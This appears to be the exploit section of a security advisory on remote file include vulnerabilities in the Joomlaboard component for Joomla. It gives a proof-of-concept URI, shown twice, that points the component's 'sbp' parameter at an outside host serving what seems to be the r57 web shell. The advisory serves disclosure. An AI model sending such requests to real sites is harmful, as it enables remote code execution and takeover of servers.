• info
• discussion
• exploit
• solution
• references

Joomla Joomlaboard Component Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

An example proof-of-concept URI has been included:

http://www.example.com/Joomla_path/components/com_joomlaboard/file_upload.php?sbp=http://nachrichtenmann.de/r57.txt?
http://www.example.com/Joomla_path/components/com_joomlaboard/file_upload.php?sbp=http://nachrichtenmann.de/r57.txt?